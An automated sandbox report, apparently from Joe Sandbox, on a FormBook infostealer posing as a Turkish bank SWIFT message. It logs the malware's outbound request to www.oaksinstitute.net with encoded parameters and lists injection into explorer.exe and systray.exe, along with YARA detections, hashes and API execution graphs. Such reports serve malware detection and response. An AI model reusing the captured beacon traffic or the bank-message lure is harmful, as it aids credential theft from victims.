                                                                      Data Ascii: 29a<head><meta name="robots" content="noindex, nofollow"></head><table width="100%" height="100%"><tr align="center"><td id="new-box"><h3>*.net is a registered domain.<br>This is a placeholder for the website.</td></tr><tr align="center"><td>If you would like to <strong>host a website</strong> / <strong>obtain a personalised email address</strong> / <strong>link up to Google apps</strong>. Do get in touch with us.<br> Vodien offers Singapore hosted servers for <a href="http://www.vodien.com/">Singapore Web Hosting</a> and <a href="http://www.vodien.com/singapore-email-hosting.php">Singapore Email Hosting</a> services.</td></tr></table>
                                                                      Nov 29, 2022 10:18:25.818865061 CET110INData Raw: 30 0d 0a 0d 0a
                                                                      Data Ascii: 0


                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                      4192.168.2.449702103.11.189.18980C:\Windows\explorer.exe
                                                                      TimestampkBytes transferredDirectionData
                                                                      Nov 29, 2022 10:18:27.855137110 CET110OUTGET /qmpa/?mRh4lr=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImqbF2d7jI61SlZkw==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1
                                                                      Host: www.oaksinstitute.net
                                                                      Connection: close
                                                                      Data Raw: 00 00 00 00 00 00 00
                                                                      Data Ascii:
                                                                      Nov 29, 2022 10:18:28.045181036 CET111INHTTP/1.1 200 OK
                                                                      Date: Tue, 29 Nov 2022 09:18:27 GMT
                                                                      Server: Apache
                                                                      X-Powered-By: PHP/5.6.40
                                                                      Connection: close
                                                                      Transfer-Encoding: chunked
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 32 39 61 0d 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 3e 0a 09 3c 74 72 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 0a 09 09 3c 74 64 20 69 64 3d 22 6e 65 77 2d 62 6f 78 22 3e 3c 68 33 3e 2a 2e 6e 65 74 20 69 73 20 61 20 72 65 67 69 73 74 65 72 65 64 20 64 6f 6d 61 69 6e 2e 3c 62 72 3e 0a 09 09 54 68 69 73 20 69 73 20 61 20 70 6c 61 63 65 68 6f 6c 64 65 72 20 66 6f 72 20 74 68 65 20 77 65 62 73 69 74 65 2e 3c 2f 74 64 3e 0a 09 3c 2f 74 72 3e 0a 09 3c 74 72 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 0a 09 09 3c 74 64 3e 49 66 20 79 6f 75 20 77 6f 75 6c 64 20 6c 69 6b 65 20 74 6f 20 3c 73 74 72 6f 6e 67 3e 68 6f 73 74 20 61 20 77 65 62 73 69 74 65 3c 2f 73 74 72 6f 6e 67 3e 20 2f 20 3c 73 74 72 6f 6e 67 3e 6f 62 74 61 69 6e 20 61 20 70 65 72 73 6f 6e 61 6c 69 73 65 64 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 3c 2f 73 74 72 6f 6e 67 3e 20 2f 20 3c 73 74 72 6f 6e 67 3e 6c 69 6e 6b 20 75 70 20 74 6f 20 47 6f 6f 67 6c 65 20 61 70 70 73 3c 2f 73 74 72 6f 6e 67 3e 2e 20 44 6f 20 67 65 74 20 69 6e 20 74 6f 75 63 68 20 77 69 74 68 20 75 73 2e 3c 62 72 3e 0a 09 09 20 56 6f 64 69 65 6e 20 6f 66 66 65 72 73 20 53 69 6e 67 61 70 6f 72 65 20 68 6f 73 74 65 64 20 73 65 72 76 65 72 73 20 66 6f 72 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 76 6f 64 69 65 6e 2e 63 6f 6d 2f 22 3e 53 69 6e 67 61 70 6f 72 65 20 57 65 62 20 48 6f 73 74 69 6e 67 3c 2f 61 3e 20 61 6e 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 76 6f 64 69 65 6e 2e 63 6f 6d 2f 73 69 6e 67 61 70 6f 72 65 2d 65 6d 61 69 6c 2d 68 6f 73 74 69 6e 67 2e 70 68 70 22 3e 53 69 6e 67 61 70 6f 72 65 20 45 6d 61 69 6c 20 48 6f 73 74 69 6e 67 3c 2f 61 3e 20 73 65 72 76 69 63 65 73 2e 3c 2f 74 64 3e 0a 09 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 0a 0d 0a
                                                                      Data Ascii: 29a<head><meta name="robots" content="noindex, nofollow"></head><table width="100%" height="100%"><tr align="center"><td id="new-box"><h3>*.net is a registered domain.<br>This is a placeholder for the website.</td></tr><tr align="center"><td>If you would like to <strong>host a website</strong> / <strong>obtain a personalised email address</strong> / <strong>link up to Google apps</strong>. Do get in touch with us.<br> Vodien offers Singapore hosted servers for <a href="http://www.vodien.com/">Singapore Web Hosting</a> and <a href="http://www.vodien.com/singapore-email-hosting.php">Singapore Email Hosting</a> services.</td></tr></table>
                                                                      Nov 29, 2022 10:18:28.045207024 CET111INData Raw: 30 0d 0a 0d 0a
                                                                      Data Ascii: 0


                                                                      Statistics

                                                                      CPU Usage

                                                                      Click to jump to process

                                                                      Memory Usage

                                                                      Click to jump to process

                                                                      High Level Behavior Distribution

                                                                      Click to dive into process behavior distribution

                                                                      Behavior

                                                                      Click to jump to process

                                                                      System Behavior

                                                                      General

                                                                      Target ID:2
                                                                      Start time:10:16:23
                                                                      Start date:29/11/2022
                                                                      Path:C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      Wow64 process (32bit):true
                                                                      Commandline:C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      Imagebase:0xbd0000
                                                                      File size:736256 bytes
                                                                      MD5 hash:6A0FF43510923C27B144BF86B5E0A867
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:.Net C# or VB.NET
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000002.00000002.331328236.0000000003337000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                      Reputation:low

                                                                      General

                                                                      Target ID:5
                                                                      Start time:10:16:35
                                                                      Start date:29/11/2022
                                                                      Path:C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      Imagebase:0x30000
                                                                      File size:736256 bytes
                                                                      MD5 hash:6A0FF43510923C27B144BF86B5E0A867
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:low

                                                                      General

                                                                      Target ID:6
                                                                      Start time:10:16:36
                                                                      Start date:29/11/2022
                                                                      Path:C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      Wow64 process (32bit):true
                                                                      Commandline:C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
                                                                      Imagebase:0x7e0000
                                                                      File size:736256 bytes
                                                                      MD5 hash:6A0FF43510923C27B144BF86B5E0A867
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.451409709.0000000001150000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                      Reputation:low

                                                                      General

                                                                      Target ID:7
                                                                      Start time:10:16:42
                                                                      Start date:29/11/2022
                                                                      Path:C:\Windows\explorer.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\Explorer.EXE
                                                                      Imagebase:0x7ff618f60000
                                                                      File size:3933184 bytes
                                                                      MD5 hash:AD5296B280E8F522A8A897C96BAB0E1D
                                                                      Has elevated privileges:false
                                                                      Has administrator privileges:false
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                      Reputation:high

                                                                      General

                                                                      Target ID:10
                                                                      Start time:10:17:35
                                                                      Start date:29/11/2022
                                                                      Path:C:\Windows\SysWOW64\systray.exe
                                                                      Wow64 process (32bit):true
                                                                      Commandline:C:\Windows\SysWOW64\systray.exe
                                                                      Imagebase:0x1010000
                                                                      File size:9728 bytes
                                                                      MD5 hash:1373D481BE4C8A6E5F5030D2FB0A0C68
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                      Reputation:moderate

                                                                      Disassembly

                                                                      Reset < >

                                                                        Execution Graph

                                                                        Execution Coverage:8.6%
                                                                        Dynamic/Decrypted Code Coverage:100%
                                                                        Signature Coverage:3.3%
                                                                        Total number of Nodes:184
                                                                        Total number of Limit Nodes:10
                                                                        execution_graph 41948 54989d8 41949 5498a40 CreateWindowExW 41948->41949 41951 5498afc 41949->41951 41951->41951 41995 5491f78 41998 5492070 2 API calls 41995->41998 41999 5492060 41995->41999 41996 5491f87 41998->41996 42000 5492070 41999->42000 42001 549209b 42000->42001 42005 54922e9 LoadLibraryExW 42000->42005 42006 54922f8 LoadLibraryExW 42000->42006 42001->41996 42002 5492093 42002->42001 42003 5492298 GetModuleHandleW 42002->42003 42004 54922c5 42003->42004 42004->41996 42005->42002 42006->42002 42049 5494598 DuplicateHandle 42050 549462e 42049->42050 41901 5494b40 41902 5494b68 41901->41902 41904 5494b90 41902->41904 41905 5494104 41902->41905 41904->41904 41906 549410f 41905->41906 41910 5496988 41906->41910 41916 549697a 41906->41916 41907 5494c38 41907->41904 41912 54969b9 41910->41912 41913 5496a05 41910->41913 41911 54969c5 41911->41907 41912->41911 41921 5496e08 41912->41921 41924 5496df7 41912->41924 41913->41907 41917 5496988 41916->41917 41918 54969c5 41917->41918 41919 5496e08 2 API calls 41917->41919 41920 5496df7 2 API calls 41917->41920 41918->41907 41919->41918 41920->41918 41928 5492070 41921->41928 41923 5496e11 41923->41913 41925 5496e08 41924->41925 41926 5492070 2 API calls 41925->41926 41927 5496e11 41926->41927 41927->41913 41929 5492071 41928->41929 41930 549209b 41929->41930 41936 54922e9 41929->41936 41940 54922f8 41929->41940 41930->41923 41931 5492093 41931->41930 41932 5492298 GetModuleHandleW 41931->41932 41933 54922c5 41932->41933 41933->41923 41937 54922f8 41936->41937 41939 5492331 41937->41939 41944 5491d30 41937->41944 41939->41931 41941 549230c 41940->41941 41942 5491d30 LoadLibraryExW 41941->41942 41943 5492331 41941->41943 41942->41943 41943->41931 41945 54924d8 LoadLibraryExW 41944->41945 41947 5492551 41945->41947 41947->41939 42007 5494370 GetCurrentProcess 42008 54943ea GetCurrentThread 42007->42008 42010 54943e3 42007->42010 42009 5494427 GetCurrentProcess 42008->42009 42011 5494420 42008->42011 42014 549445d 42009->42014 42010->42008 42011->42009 42012 5494485 GetCurrentThreadId 42013 54944b6 42012->42013 42014->42012 42051 5498b90 42052 5498bb6 42051->42052 42055 54985e4 42052->42055 42056 54985ef 42055->42056 42057 54998e9 42056->42057 42059 54998d9 42056->42059 42083 549870c 42057->42083 42064 5499a00 42059->42064 42068 5fe3a60 42059->42068 42079 5499a10 42059->42079 42060 54998e7 42065 5499a10 42064->42065 42090 5499ac8 42065->42090 42066 5499ab0 42066->42060 42069 5fe3a6d 42068->42069 42070 5fe3a88 42068->42070 42071 5fe3a75 42069->42071 42076 549870c 4 API calls 42069->42076 42078 549af60 4 API calls 42069->42078 42103 549af81 42069->42103 42070->42069 42072 5fe3a8d 42070->42072 42071->42060 42073 5fe31c0 GetCurrentThreadId 42072->42073 42075 5fe3a99 42073->42075 42074 5fe3aa0 42074->42060 42075->42060 42076->42074 42078->42074 42080 5499a24 42079->42080 42082 5499ac8 4 API calls 42080->42082 42081 5499ab0 42081->42060 42082->42081 42084 5498717 42083->42084 42085 549b07c 42084->42085 42086 549afd2 42084->42086 42087 54985e4 3 API calls 42085->42087 42088 549b02a CallWindowProcW 42086->42088 42089 549afd9 42086->42089 42087->42089 42088->42089 42089->42060 42091 5499ad9 42090->42091 42093 549af60 42090->42093 42091->42066 42094 549af6a 42093->42094 42095 549af86 42093->42095 42096 549870c 3 API calls 42094->42096 42097 549b07c 42095->42097 42098 549afd2 42095->42098 42099 549af7a 42096->42099 42100 54985e4 3 API calls 42097->42100 42101 549b02a CallWindowProcW 42098->42101 42102 549afd9 42098->42102 42099->42091 42100->42102 42101->42102 42102->42091 42104 549af90 42103->42104 42105 549b07c 42104->42105 42106 549afd2 42104->42106 42107 54985e4 3 API calls 42105->42107 42108 549b02a CallWindowProcW 42106->42108 42109 549afd9 42106->42109 42107->42109 42108->42109 42109->42074 42123 5498c20 SetWindowLongW 42124 5498c8c 42123->42124 41952 17459e8 41953 1745a04 41952->41953 41954 17419a8 CreateActCtxA 41953->41954 41955 1745a41 41954->41955 41956 17419a8 CreateActCtxA 41955->41956 41957 1745a11 41956->41957 41962 17419a8 41957->41962 41959 1745a33 41966 17451ac 41959->41966 41961 1745a44 41963 17419b8 41962->41963 41964 17419c8 41963->41964 41972 1745ba0 41963->41972 41964->41959 41967 17451b7 41966->41967 41968 17419a8 CreateActCtxA 41967->41968 41969 174f0b1 41968->41969 41970 17419a8 CreateActCtxA 41969->41970 41971 174f0bf 41970->41971 41971->41961 41973 1745bc5 41972->41973 41977 1745ca0 41973->41977 41981 1745c91 41973->41981 41978 1745cc7 41977->41978 41979 1745da4 41978->41979 41985 1745850 41978->41985 41979->41979 41982 1745ca0 41981->41982 41983 1745850 CreateActCtxA 41982->41983 41984 1745da4 41982->41984 41983->41984 41986 1746d30 CreateActCtxA 41985->41986 41988 1746df3 41986->41988 41989 1748468 41990 174847f 41989->41990 41991 17419a8 CreateActCtxA 41990->41991 41992 1748487 41991->41992 41993 17419a8 CreateActCtxA 41992->41993 41994 1748492 41993->41994 42015 5fe2cb0 42016 5fe2cc5 42015->42016 42020 5fe3510 42016->42020 42024 5fe34e0 42016->42024 42017 5fe2cdb 42023 5fe353d 42020->42023 42021 5fe358c 42021->42021 42023->42021 42028 5fe3144 42023->42028 42027 5fe34f2 42024->42027 42025 5fe358c 42025->42025 42026 5fe3144 2 API calls 42026->42025 42027->42017 42027->42025 42027->42026 42029 5fe314f 42028->42029 42034 5fe31c0 42029->42034 42031 5fe3bbc 42038 5fe3184 42031->42038 42035 5fe31cb 42034->42035 42042 5fe31dc 42035->42042 42037 5fe3c15 42037->42031 42039 5fe318f 42038->42039 42041 5fe3998 42039->42041 42046 5fe31b4 42039->42046 42041->42021 42043 5fe31e7 42042->42043 42044 5fe3dab 42043->42044 42045 5fe3d81 GetCurrentThreadId 42043->42045 42044->42037 42045->42044 42047 5fe3ae0 SetTimer 42046->42047 42048 5fe3b4c 42047->42048 42048->42041 42110 5fe30a0 42111 5fe30b5 42110->42111 42115 5fe37b8 42111->42115 42119 5fe37a9 42111->42119 42117 5fe37e6 42115->42117 42116 5fe3871 42116->42116 42117->42116 42118 5fe3184 SetTimer 42117->42118 42118->42116 42121 5fe37b2 42119->42121 42120 5fe3871 42120->42120 42121->42120 42122 5fe3184 SetTimer 42121->42122 42122->42120

                                                                        Executed Functions

                                                                        Function 01740798 Relevance: 3.5, Strings: 2, Instructions: 989COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 39 1740798-17407b9 40 17407c0-17408b7 39->40 41 17407bb 39->41 43 17408bd-1740a1c 40->43 44 1740fcf-1740ff7 40->44 41->40 88 1740f95-1740fbf 43->88 89 1740a22-1740a7d 43->89 47 17416ef-17416f8 44->47 49 1741005-174100e 47->49 50 17416fe-1741715 47->50 51 1741015-1741109 49->51 52 1741010 49->52 71 1741133 51->71 72 174110b-1741117 51->72 52->51 75 1741139-1741159 71->75 73 1741121-1741127 72->73 74 1741119-174111f 72->74 77 1741131 73->77 74->77 80 17411b9-1741233 75->80 81 174115b-17411b4 75->81 77->75 102 1741235-1741288 80->102 103 174128a-17412cd 80->103 92 17416ec 81->92 100 1740fc1 88->100 101 1740fcc 88->101 96 1740a82-1740a8d 89->96 97 1740a7f 89->97 92->47 99 1740ea7-1740ead 96->99 97->96 104 1740a92-1740ab0 99->104 105 1740eb3-1740f30 99->105 100->101 101->44 130 17412d8-17412e1 102->130 103->130 107 1740b07-1740b1c 104->107 108 1740ab2-1740ab6 104->108 147 1740f7f-1740f85 105->147 112 1740b23-1740b39 107->112 113 1740b1e 107->113 108->107 110 1740ab8-1740ac3 108->110 115 1740af9-1740aff 110->115 117 1740b40-1740b57 112->117 118 1740b3b 112->118 113->112 122 1740ac5-1740ac9 115->122 123 1740b01-1740b02 115->123 119 1740b5e-1740b74 117->119 120 1740b59 117->120 118->117 126 1740b76 119->126 127 1740b7b-1740b82 119->127 120->119 124 1740acf-1740ae7 122->124 125 1740acb 122->125 129 1740b85-1740dab 123->129 131 1740aee-1740af6 124->131 132 1740ae9 124->132 125->124 126->127 127->129 138 1740dad-1740db1 129->138 139 1740e0f-1740e24 129->139 134 1741341-1741350 130->134 131->115 132->131 135 1741352-17413da 134->135 136 17412e3-174130b 134->136 172 174155f-1741568 135->172 141 1741312-174133b 136->141 142 174130d 136->142 138->139 146 1740db3-1740dc2 138->146 143 1740e26 139->143 144 1740e2b-1740e4c 139->144 141->134 142->141 143->144 151 1740e53-1740e72 144->151 152 1740e4e 144->152 153 1740e01-1740e07 146->153 149 1740f87-1740f8d 147->149 150 1740f32-1740f7c 147->150 149->88 150->147 157 1740e74 151->157 158 1740e79-1740e99 151->158 152->151 154 1740dc4-1740dc8 153->154 155 1740e09-1740e0a 153->155 161 1740dd2-1740df3 154->161 162 1740dca-1740dce 154->162 160 1740ea4 155->160 157->158 163 1740ea0 158->163 164 1740e9b 158->164 160->99 166 1740df5 161->166 167 1740dfa-1740dfe 161->167 162->161 163->160 164->163 166->167 167->153 173 174156e-17415c9 172->173 174 17413df-17413f4 172->174 189 1741600-174162a 173->189 190 17415cb-17415fe 173->190 175 17413f6 174->175 176 17413fd-1741553 174->176 175->176 177 17414d2-1741512 175->177 178 1741403-1741443 175->178 179 174148d-17414cd 175->179 180 1741448-1741488 175->180 194 1741559 176->194 177->194 178->194 179->194 180->194 198 1741633-17416c6 189->198 190->198 194->172 202 17416cd-17416e5 198->202 202->92
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.328724884.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_1740000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: ,v,{$UUUU
                                                                        • API String ID: 0-4280534401
                                                                        • Opcode ID: b79c124540647fcc9dfe067108a4a3991c7e22763dab6c06c5efdbe0cc2a5567
                                                                        • Instruction ID: 24266b90452eda65dec1f67f45c32ac826d83beb51de25e6d565e66284a67d62
                                                                        • Opcode Fuzzy Hash: b79c124540647fcc9dfe067108a4a3991c7e22763dab6c06c5efdbe0cc2a5567
                                                                        • Instruction Fuzzy Hash: E6A2C675A04228CFDB64CF69C984AD9BBB2FF89304F1581E9D509AB325DB319E81CF40
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 017451AC Relevance: .2, Instructions: 210COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.328724884.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_1740000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 88a28026cc72239e86386dd0a911827ceff5aca1a5ebfe2073a34a49c283ff26
                                                                        • Instruction ID: 7091470a4e95a3abc98d15663d917c1afdab36655c148db6d976ba4f802efca5
                                                                        • Opcode Fuzzy Hash: 88a28026cc72239e86386dd0a911827ceff5aca1a5ebfe2073a34a49c283ff26
                                                                        • Instruction Fuzzy Hash: AC81E6B4E4914ACFDB04CF99C448BFEF7F9AB8E304F0590A6D819AB356C73859068B50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05FEA3F9 Relevance: .2, Instructions: 194COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.336086235.0000000005FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FE0000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5fe0000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 4727dd6c712e2f7344fd231088e353b0f480f15b844f17880ad738910f21706c
                                                                        • Instruction ID: e4525484c9333e4a7c9b919b9bde4f07e1f5c51e5c770a715f5eabf1c73054ae
                                                                        • Opcode Fuzzy Hash: 4727dd6c712e2f7344fd231088e353b0f480f15b844f17880ad738910f21706c
                                                                        • Instruction Fuzzy Hash: 6D81BD75E002098FCB58DFA9C995AEDBBF2FF88304F648029D406AB754DB399946CF50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05FEAFC0 Relevance: .1, Instructions: 138COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.336086235.0000000005FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FE0000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5fe0000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 68de93076ca5513888a245fb7f124840b8ed06b3b8848143743eadca7135afd4
                                                                        • Instruction ID: 96fc3dc4cd728ee14ae06c512472dc9c6be3ae39e66da68adc6b51262e4f24cb
                                                                        • Opcode Fuzzy Hash: 68de93076ca5513888a245fb7f124840b8ed06b3b8848143743eadca7135afd4
                                                                        • Instruction Fuzzy Hash: A6519E71E052199FDF08DFEAC844AEEFBB2FF89300F14802AD519AB254DB345946CB50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05494362 Relevance: 6.1, APIs: 4, Instructions: 125threadCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        APIs
                                                                        • GetCurrentProcess.KERNEL32 ref: 054943D0
                                                                        • GetCurrentThread.KERNEL32 ref: 0549440D
                                                                        • GetCurrentProcess.KERNEL32 ref: 0549444A
                                                                        • GetCurrentThreadId.KERNEL32 ref: 054944A3
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: Current$ProcessThread
                                                                        • String ID:
                                                                        • API String ID: 2063062207-0
                                                                        • Opcode ID: ff63b37971ddb11b80198463e6fbd04a52118408e86d251d9e03f9e9f70f3674
                                                                        • Instruction ID: 08504897113dd289629fb15b33c24e099e79b2e5d8102f63b6df10cfe6d838b3
                                                                        • Opcode Fuzzy Hash: ff63b37971ddb11b80198463e6fbd04a52118408e86d251d9e03f9e9f70f3674
                                                                        • Instruction Fuzzy Hash: 8F5163B59002498FDB18CFA9D589BEEBBF0FB48318F24845AE41AA7350D7346844CF65
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 05494370 Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        APIs
                                                                        • GetCurrentProcess.KERNEL32 ref: 054943D0
                                                                        • GetCurrentThread.KERNEL32 ref: 0549440D
                                                                        • GetCurrentProcess.KERNEL32 ref: 0549444A
                                                                        • GetCurrentThreadId.KERNEL32 ref: 054944A3
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.334692117.0000000005490000.00000040.00000800.00020000.00000000.sdmp, Offset: 05490000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_5490000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
